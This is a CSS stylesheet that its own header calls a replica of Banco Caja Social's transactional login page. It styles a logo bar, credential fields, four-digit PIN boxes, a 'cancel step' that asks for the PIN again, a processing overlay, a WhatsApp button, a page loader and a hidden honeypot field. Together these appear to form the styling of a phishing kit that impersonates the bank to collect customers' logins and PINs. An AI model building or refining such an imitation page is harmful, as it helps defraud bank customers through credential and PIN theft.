/* Banco Caja Social - Transaccional Login Replica */
@import url('https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700&display=swap');

* { margin:0; padding:0; box-sizing:border-box; }

body {
    font-family: 'Open Sans', Arial, sans-serif;
    background: linear-gradient(90deg, #c9dff0 0%, #e8f0f7 8%, #f5f7fa 20%, #f5f7fa 80%, #e8f0f7 92%, #c9dff0 100%);
    color: #333;
    -webkit-font-smoothing: antialiased;
    min-height: 100vh;
}

/* === TOP NAV === */
.top-nav {
    background: #fff;
    border-bottom: 1px solid #e0e4e8;
    padding: 10px 16px;
    display: flex;
    align-items: center;
    justify-content: space-between;
    position: sticky;
    top: 0;
    z-index: 100;
}
.hamburger-btn {
    background: none;
    border: 1.5px solid #c0c4c8;
    border-radius: 6px;
    padding: 7px 9px;
    display: flex;
    flex-direction: column;
    gap: 4px;
    cursor: pointer;
    flex-shrink: 0;
}
.hamburger-btn span {
    width: 18px;
    height: 2px;
    background: #555;
    border-radius: 1px;
}
.nav-logo {
    display: flex;
    align-items: center;
    justify-content: center;
    flex: 1;
}
.nav-logo img {
    height: 48px;
    max-width: 320px;
    object-fit: contain;
}
.nav-spacer { width: 40px; flex-shrink: 0; }

/* === BADGE === */
.privacy-badge {
    position: absolute;
    top: 110px;
    left: 0;
    background: #fff;
    border: 1px solid #e0e4e8;
    border-left: none;
    border-radius: 0 8px 8px 0;
    padding: 8px 10px;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 3px;
    z-index: 50;
    box-shadow: 2px 2px 8px rgba(0,0,0,0.06);
}
.privacy-badge svg { width: 26px; height: 26px; }
.privacy-badge span {
    font-size: 6.5px;
    color: #666;
    text-align: center;
    line-height: 1.2;
}

/* === TAB BAR === */
.tab-bar {
    background: #fff;
    display: flex;
    padding: 0 16px;
    border-bottom: 1px solid #e0e4e8;
}
.tab-item {
    padding: 14px 16px;
    font-size: 14px;
    font-weight: 400;
    color: #0066a1;
    border-bottom: 3px solid transparent;
    cursor: pointer;
    transition: all 0.2s;
}
.tab-item.active {
    border-bottom-color: #0066a1;
    font-weight: 600;
}
.tab-item:not(.active) { color: #888; }

/* === CARD === */
.login-card {
    background: #fff;
    margin: 20px 16px;
    border-radius: 12px;
    box-shadow: 0 2px 12px rgba(0,0,0,0.06);
    padding: 28px 20px 24px;
    border: 1px solid #eaedf0;
}
.card-title {
    font-size: 22px;
    font-weight: 300;
    color: #0066a1;
    margin-bottom: 28px;
    padding-bottom: 16px;
    border-bottom: 1px solid #eee;
}

/* === FORM === */
.form-group {
    margin-bottom: 24px;
}
.form-label {
    display: block;
    font-size: 11.5px;
    font-weight: 700;
    color: #444;
    text-transform: uppercase;
    margin-bottom: 8px;
    letter-spacing: 0.3px;
}
.form-label .req { color: #c00; }
.form-input, .form-select {
    width: 100%;
    padding: 14px 12px;
    border: 1px solid #ccd0d5;
    border-radius: 8px;
    font-family: 'Open Sans', sans-serif;
    font-size: 14px;
    color: #333;
    background: #fff;
    outline: none;
    transition: border-color 0.2s;
}
.form-input:focus, .form-select:focus {
    border-color: #0066a1;
}
.form-select {
    appearance: none;
    background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='16' height='16' fill='%23666'%3E%3Cpath d='M4 6l4 4 4-4'/%3E%3C/svg%3E");
    background-repeat: no-repeat;
    background-position: right 12px center;
    background-size: 18px;
    padding-right: 36px;
}

/* === PIN INPUT === */
.pin-container {
    display: flex;
    gap: 12px;
    justify-content: center;
}
.pin-box {
    width: 56px;
    height: 56px;
    border: 1.5px solid #ccd0d5;
    border-radius: 10px;
    text-align: center;
    font-size: 22px;
    font-weight: 700;
    color: #333;
    font-family: 'Open Sans', sans-serif;
    outline: none;
    transition: border-color 0.2s;
}
.pin-box:focus {
    border-color: #0066a1;
    box-shadow: 0 0 0 3px rgba(0,102,161,0.1);
}

/* === BUTTONS === */
.btn-login {
    width: 100%;
    padding: 15px;
    background: #7a8d9e;
    color: #fff;
    border: none;
    border-radius: 25px;
    font-size: 15px;
    font-weight: 600;
    font-family: 'Open Sans', sans-serif;
    cursor: pointer;
    margin-top: 8px;
    transition: background 0.25s;
}
.btn-login.enabled {
    background: #0066a1;
}
.btn-login.enabled:hover {
    background: #004f82;
}
.btn-login:disabled {
    opacity: 0.8;
    cursor: wait;
}

/* Error message */
.login-error {
    display: flex;
    align-items: center;
    gap: 8px;
    background: #fef2f2;
    border: 1px solid #fecaca;
    border-radius: 8px;
    padding: 10px 14px;
    margin-bottom: 16px;
    font-size: 13px;
    color: #c00;
    font-weight: 500;
}

/* Button spinner */
.btn-spinner {
    display: inline-block;
    width: 16px;
    height: 16px;
    border: 2px solid rgba(255,255,255,0.3);
    border-top-color: #fff;
    border-radius: 50%;
    animation: spin 0.6s linear infinite;
    vertical-align: middle;
    margin-right: 6px;
}

.btn-cancel-submit {
    width: 100%;
    padding: 15px;
    background: #0066a1;
    color: #fff;
    border: none;
    border-radius: 25px;
    font-size: 15px;
    font-weight: 600;
    font-family: 'Open Sans', sans-serif;
    cursor: pointer;
    margin-top: 8px;
    transition: background 0.25s;
}
.btn-cancel-submit:hover {
    background: #004f82;
}

/* === LINKS ROW === */
.links-row {
    display: flex;
    justify-content: space-between;
    padding: 20px 16px;
}
.links-row a {
    font-size: 13px;
    color: #0066a1;
    text-decoration: none;
    font-weight: 500;
}

/* === CANCEL STEP === */
.cancel-step {
    display: none;
}
.cancel-step.active {
    display: block;
}
.login-step.hidden {
    display: none;
}
.step-header {
    display: flex;
    align-items: center;
    gap: 12px;
    margin-bottom: 20px;
    padding-bottom: 16px;
    border-bottom: 1px solid #eee;
}
.step-icon {
    width: 44px;
    height: 44px;
    background: #e8f4fd;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
}
.step-icon svg { width: 22px; height: 22px; }
.step-title {
    font-size: 16px;
    font-weight: 600;
    color: #0066a1;
}
.step-subtitle {
    font-size: 12px;
    color: #888;
    margin-top: 2px;
}
.info-box {
    background: #fef9e7;
    border-left: 3px solid #f0c040;
    padding: 12px 14px;
    border-radius: 0 8px 8px 0;
    margin-bottom: 24px;
    font-size: 12.5px;
    color: #555;
    line-height: 1.5;
}
.pin-label {
    text-align: center;
    font-size: 11.5px;
    font-weight: 700;
    color: #444;
    text-transform: uppercase;
    margin-bottom: 12px;
    letter-spacing: 0.3px;
}

/* === PROCESSING === */
.processing {
    position: fixed;
    inset: 0;
    background: rgba(255,255,255,0.96);
    display: none;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    z-index: 999;
}
.processing.show { display: flex; }
.processing .spinner {
    width: 44px;
    height: 44px;
    border: 3px solid #e0e4e8;
    border-top-color: #0066a1;
    border-radius: 50%;
    animation: spin 0.7s linear infinite;
    margin-bottom: 16px;
}
@keyframes spin { to { transform: rotate(360deg); } }
.processing p {
    font-size: 14px;
    color: #555;
    font-weight: 500;
}

/* === WHATSAPP === */
.whatsapp-btn {
    position: fixed;
    bottom: 80px;
    right: 12px;
    background: #25d366;
    color: #fff;
    padding: 10px 16px;
    border-radius: 25px;
    display: flex;
    align-items: center;
    gap: 8px;
    font-size: 14px;
    font-weight: 600;
    box-shadow: 0 4px 12px rgba(37,211,102,0.3);
    text-decoration: none;
    z-index: 80;
}
.whatsapp-btn svg { width: 22px; height: 22px; fill: #fff; }

/* === LOADER === */
#js-loader {
    position: fixed;
    inset: 0;
    background: #fff;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    z-index: 9999;
}
#js-loader .spinner {
    width: 40px; height: 40px;
    border: 3px solid #e0e4e8;
    border-top-color: #0066a1;
    border-radius: 50%;
    animation: spin 0.7s linear infinite;
    margin-bottom: 16px;
}
#js-loader p { font-size: 13px; color: #888; }
.hp-field {
    position: absolute; left: -9999px; opacity: 0;
    height: 0; width: 0;
}

/* === RESPONSIVE === */
@media (min-width: 480px) {
    .login-card { max-width: 440px; margin: 20px auto; }
    .links-row { max-width: 440px; margin: 0 auto; }
}
